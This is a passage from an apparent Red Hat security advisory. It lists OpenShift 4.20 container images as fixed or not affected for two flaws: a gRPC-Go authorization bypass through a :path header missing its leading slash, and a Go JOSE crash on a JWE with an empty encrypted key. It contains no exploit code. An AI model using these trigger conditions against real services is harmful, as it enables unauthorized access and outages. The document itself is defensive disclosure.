| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:20c651f23e57bce386239c12ad3e2a19aa3220ef5c89c2561cad7bd40476d4c0_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:3fa417f375c4d41175b700a1a44f7dbd60f58a9337b1202720696f84d347fda9_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:44f8632e12b1a2e798c518cccff5aff1ebdfc1cdda8a4bb044ed01e322aa1f2c_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:b081739ac1afa49e7a1eb8f73b76bd30241c056eb55ed06d2845002368571fb3_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:2f154bdf369c1e9b9981b9478399f8bb870aad53bd5f33420a74bfdfd942ae8d_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:5d44a3b19601304824c82cb302a575d2ffa8e7085d02abfaae925af1b2908eaf_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:8d50532844d79c853a38a59c62ad4e6ea253e5ca6d54a81791b38922053f9ddd_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:db6900b8ab7297ae4b098c821386069cba11b54e0211f726607a108b74969067_arm64 | — |
Threats
Impact
Important
A flaw was found in gRPC-Go, the Go language implementation of gRPC. This vulnerability, an authorization bypass, is caused by improper input validation of the HTTP/2 `:path` pseudo-header. A remote attacker can exploit this by sending raw HTTP/2 frames with a malformed `:path` that omits the mandatory leading slash. This allows the attacker to bypass defined security policies, potentially leading to unauthorized access to services or information disclosure.
9.1 (Critical)
Affected products
Fixed
4 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:3bbdf23c749d068f766d18fccd5e5ae23ff90a5565d8f5101b551113cfb6c123_amd64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:979314a23724ebc8de0be49aa32b8f420179125c695ca48549f541e59337e1b2_arm64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:98636cb3a8c474d6564ee277234bfa6f8bd4bc74a8a5327c4eb21b26c2c9d626_s390x | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:f7cbd75d0671200c3af39c481f36478676c328f47692c1f2c1b46429470eb9bf_ppc64le | — |
Vendor Fix
fix
Workaround
|
Known not affected
89 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:3cb1ef218d08069307b9cb1013d1a3814567df8ec55f64ddd9b72f5790a03f3c_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:450a1c77d36771a98dfa96bb128a066192871becc7ff3edd5da3f9839de5b87b_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:647e915e236daa81b0001b61dcfdbea5cb999a844ec0d52f7d0dd4e224cbcbb9_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:bf4b64740a63a1f6e541d92128c9237fdd813a52536ed1273983946e3c215f7f_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:203ec72895a613490e467305fd2ad96e620d4ea8631b44117be4f7227cb3d162_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:86e58cc04993c9ebb62ff13f8c9e38fcb1dd1bbdd7f5474a8c6de3a73b628492_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:89275d5e3701e681b789e2c80377bdc124c617ccf1fea892fcd9342647ee4e13_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:8ec539591813dd64b6e220480649aceb0f20ac8dbaccf29f5852805fe2d653c6_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:06e3ee0cbdc2f1b3ad5e51bacf75c05cf7f156f8ab0ab451ae0d7849095c35a4_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:8dc3a7e099280b53633b6dc3bddcade1de7720e6b26689b99b13f146675c4f5b_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:e926f2b13e47bf18d2109a39fb2023f112df68ce206f797f60aabe688b203bde_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:ecd2f1b4154e0e1a82956378e620ff618383e341b7ad7571c4c1fbec55a2db5b_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:29d98fcb36f650c7bc94edf306894f4add6d8470dd75ef1b9d2f86a96f7eeefb_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b3a9fee448a212907122556f9d2b6441122cd09f03fd85b953db0f06527cd841_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b9a359fca4093efb9deaf581963244e67abfc7afc3ec6df558cc1525adaed085_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:e6d546338774b75c347f1c00f01897d2c18bcc02aae73801c888a1c0bc7159a9_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:fe589677a60e47f089add4a8662d7a5bb018d149bd40951450afcad9459d0868_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:0265e523cbb12746ce518597e1f2ae8dfed5a4f108410d74a284429511d7dd80_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:06833bd27e40dd3a770cac2b4bc943cbbcc005409df8bcb8da465c2f4cfe25e3_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3e44064c6c2f51f5d59267cb3be081e525227b412f84cdf982239a7340c5a0b6_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:89c39898050cee289a3d05bace758ad4551a9dcb4b55467dff1b70ef304e227a_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:7b5d98fb5c01c84f70fdd05e5ca4ea35f580eacf123fd70744dd207e90ac8ecc_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:dcb687dac46dfcb5190a00860a358b63304e344ee233605c69442ae784df50a7_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5571dc60fd35ac8fc45f1632859804ec7f6b261b131bd8a1f68ab4de49c79a08_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:638bf4691fd54f1854134c0a350a18956f2d4e33367775c35882bbffad8a085e_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e7665d0ff02bafdf87f7cf26d8f9364504b6019a582381408cf5f6bbb8a6b2c0_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:ebf9d8e110fdd0eb92437bb9948019dd5caaaa13dff3bbdacf99caf98a11f701_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:49bd024d3d99fb1ad7bab883c7e5f660183c3146ca927b6d7ddceeeddfcba157_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:b66789383841ab46f31f467fa319ec01d202f7f69739ff4d251b4af0a6c9e6e6_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:c346d06d42db2adc95274fdad624981452835dde285b7f44bf72a8d362ce73bb_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:cb690ce1b790312c809730ce08830a3fd43ff06a3136c57256952cd7bbe13d55_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:624021ed9404e77d1417862044df4b04fa3fe3dc026b03ea54a2b87d4376d387_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:a1bd5af44e35c68359b7bc642c195a557a25e15f41124b5874fc1e51ee299bf3_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:ee697ce277502f25541e9973db31e142af9c4419849a50d0a020c61afcc48c33_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:fdea6c63c595dc8b02cef15286aeb3ddc3bfe0193de45201d0cfb11a3bcd589f_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:522a646576645bcbf84710a97c8f89c577d55a22f1d8d1c868135d1d8ecbe34c_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:81c0cf537924384b7ef75b604e5941fc51fe049641622c4b772852788da14097_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:89f57abd15554b50bd27019be5438490bd6207d18d457607603c511a054f1b7a_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:9c0de5f2f719b24731c4a5aaa2e1b40d661e67a72fe0d3caac4271f9e9d5ead5_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1b57935b2c9a488ef21e6d66ad07c2e25a1737b0e0641319fbe7710a24e01e4b_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:365ac58c2af582f184d3f62beaa48d15f3981e4d8da0cbbb8c93ec6986243b51_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:38eb1cac78fe34949a20dbc1cc949f4d2861d9db7ada1de0e5ed29279901f408_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:d3125750bd9da51e7a35ef16af331b8a2b3dc157b3fa471629fb616322e35fc9_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:1a8f96819a4c2b6c5d8d3d16e7f2d86cd98fec4d54aadc93d577114787713537_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:640edf3a82ee8b13796051e101e647b2378da417e14a1dff18ce501e4fd37bb3_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:c7a464e13822761ca8082145086084a7ee99dac69eaf2499ae3a216840866dac_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:f01be0e96604d69f4c4e9e4363da99fab82220b72e34accaedd7c62f3e510f2d_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:050d6a3c89ac2be7115949ac33afe56a690b5d56775be5f1f004902ba056da20_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:3170599804e9cf0f6ee3edf955f2d9b34a462a3cf1fb667a2db53ccc9498724c_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:74ed6313652eb904df6f81151b9c829c01f7304c6872071a100a65ada5679978_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:8f505384a22a337f1ac2c2b76051e4cee2a60b638cebe734816ff49bb1fb0b9f_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7154ccb28376771fbbb8754ddd010672548c43fbec531e0cfdf3007a8efd882c_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7c254637daf1b7564394c9a6425b9dec8a711e27ccfc659d5a55471c218b14cd_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:ad266469369890878063a4e0793c144bf73be0c963be65f154f3e8988c666fe2_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:fe01dc34d6ef1faf09be0e5b4fd7c9c0db4baafc8fdd77ab61d25167c80e8a53_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:c731759826eeaffcc98dcc86e890adc3dcbc3497761bbebe04265892e782963d_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:dcaeb66077a2e78128d7ddc7b03ec9501f65c14f068948a9fbb82245927f2d04_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:06a4c88d17ea03dbcaf83bfbf36d42ae4e288218477c11ba8bdbb45eb5b3ca56_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:387d5a03bce1e6b80a36582c2959e6c0569cbce7f49b5c29297c4eae1fa89a4f_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:3ddb9e724e529e60d4b0669d5630f661f416c4e762c60d25b70573b40ef131b3_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:cbe78a9f8013acf7217363c5512cb61b16db26ade6a00b3ec9bad7b534ea6c97_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:0f70afc8fc44153005b719e423b9414a806f52a1f0a0eaf383214e7aeb0d1d43_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9e2ca3a4a43f24bb081c0d1a20350a9086e93dcbdc617b561fcc39369273b32e_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:a66f68ebb39a0474bc89255b465750e203dabacfdec098ec20c14b7adb7e26af_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:f811943f27e46556496a9833e20192a53b11d441660f8815b32f5afbc1eddd0e_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:1a7ac4b64621194572606055e495c964f0061619156b58db38e5e3ed0d63b359_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:7acd95b189ae4b09922c757de90a1855a91ec8d185144ef19027bd0ff1c9f522_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:8caabe7828c7c1df3b1edf2585a48055615ff16becb6149a8d558ce9ce717862_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:c37cf3696e1b4c67f30d7a42f324606c6814e61ddbe3e5520e0a7a0a0242ed6d_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:0c87c80a5bccd9225c9d1faa85ea7d0deed337a138fadb0412af6590fd9f96b4_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6e40ba6ae462a707631a6f8496ae597f811f3eaef98bdfcc0d0dedb0dcdc1575_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6ecb5789c21c2bf45a3312bd7116f847a3b15646009fed0031a6cf160306e965_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:7a55683ac150ed1a4ec96017f62099116b81d07a0b0277a6eaab06cc2064116b_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:3b6e1dbf5de0caacb2cd524ca40193db89ec825360c0dfd8e1f3af197f4539dd_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:6a598579673f0a81e14f17fc463ee4f6bb3cfa937f281bd089b479b5155980d6_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:ad1759daee6b18fa3267b578c75fb178730319d1cd9527a21fb9836ddc4facac_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:babce324aa37ddf6db4514c1a697a4f2769775426fb59c635d2c8702e9952153_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:48b50cb476bad0b50177ddf4d801d8a953249f4c5a268d2822d16ed4845bf33f_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:590285997861e1233f792b5f371e9897086fd3b217a4840c5bfa971118472c94_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9c1401fe5364b8ba3a069ac69a16e60d09f54e1dc17f30bdd438933f60474b8f_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9f4ff8acdc663301d308156bb2c56d68379a95fa087bc71f41a699a8ed08eba9_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:20c651f23e57bce386239c12ad3e2a19aa3220ef5c89c2561cad7bd40476d4c0_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:3fa417f375c4d41175b700a1a44f7dbd60f58a9337b1202720696f84d347fda9_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:44f8632e12b1a2e798c518cccff5aff1ebdfc1cdda8a4bb044ed01e322aa1f2c_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:b081739ac1afa49e7a1eb8f73b76bd30241c056eb55ed06d2845002368571fb3_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:2f154bdf369c1e9b9981b9478399f8bb870aad53bd5f33420a74bfdfd942ae8d_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:5d44a3b19601304824c82cb302a575d2ffa8e7085d02abfaae925af1b2908eaf_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:8d50532844d79c853a38a59c62ad4e6ea253e5ca6d54a81791b38922053f9ddd_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:db6900b8ab7297ae4b098c821386069cba11b54e0211f726607a108b74969067_arm64 | — |
Workaround
|
Threats
Impact
Important
A flaw was found in Go JOSE, a library for handling JSON Web Encryption (JWE) objects. A remote attacker could exploit this vulnerability by providing a specially crafted JWE object. When decrypting such an object, if a key wrapping algorithm is specified but the encrypted key field is empty, the application can crash. This leads to a denial of service (DoS), making the affected service unavailable to legitimate users.
7.5 (High)
Affected products
Fixed
4 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:06e3ee0cbdc2f1b3ad5e51bacf75c05cf7f156f8ab0ab451ae0d7849095c35a4_arm64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:8dc3a7e099280b53633b6dc3bddcade1de7720e6b26689b99b13f146675c4f5b_amd64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:e926f2b13e47bf18d2109a39fb2023f112df68ce206f797f60aabe688b203bde_s390x | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:ecd2f1b4154e0e1a82956378e620ff618383e341b7ad7571c4c1fbec55a2db5b_ppc64le | — |
Vendor Fix
fix
Workaround
|
Known not affected
89 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:3bbdf23c749d068f766d18fccd5e5ae23ff90a5565d8f5101b551113cfb6c123_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:979314a23724ebc8de0be49aa32b8f420179125c695ca48549f541e59337e1b2_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:98636cb3a8c474d6564ee277234bfa6f8bd4bc74a8a5327c4eb21b26c2c9d626_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:f7cbd75d0671200c3af39c481f36478676c328f47692c1f2c1b46429470eb9bf_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:3cb1ef218d08069307b9cb1013d1a3814567df8ec55f64ddd9b72f5790a03f3c_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:450a1c77d36771a98dfa96bb128a066192871becc7ff3edd5da3f9839de5b87b_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:647e915e236daa81b0001b61dcfdbea5cb999a844ec0d52f7d0dd4e224cbcbb9_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:bf4b64740a63a1f6e541d92128c9237fdd813a52536ed1273983946e3c215f7f_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:203ec72895a613490e467305fd2ad96e620d4ea8631b44117be4f7227cb3d162_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:86e58cc04993c9ebb62ff13f8c9e38fcb1dd1bbdd7f5474a8c6de3a73b628492_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:89275d5e3701e681b789e2c80377bdc124c617ccf1fea892fcd9342647ee4e13_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:8ec539591813dd64b6e220480649aceb0f20ac8dbaccf29f5852805fe2d653c6_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:29d98fcb36f650c7bc94edf306894f4add6d8470dd75ef1b9d2f86a96f7eeefb_arm64 | — |
Workaround
|
|
